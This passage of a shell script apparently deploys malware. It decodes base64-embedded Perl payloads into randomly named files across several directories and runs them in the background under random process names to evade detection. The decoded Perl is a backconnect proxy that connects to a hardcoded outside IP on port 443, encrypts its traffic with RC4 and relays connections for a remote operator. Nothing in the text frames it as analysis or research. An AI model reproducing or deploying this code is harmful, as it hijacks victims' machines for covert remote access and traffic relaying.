CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #22 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #22 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 23 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNDMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs 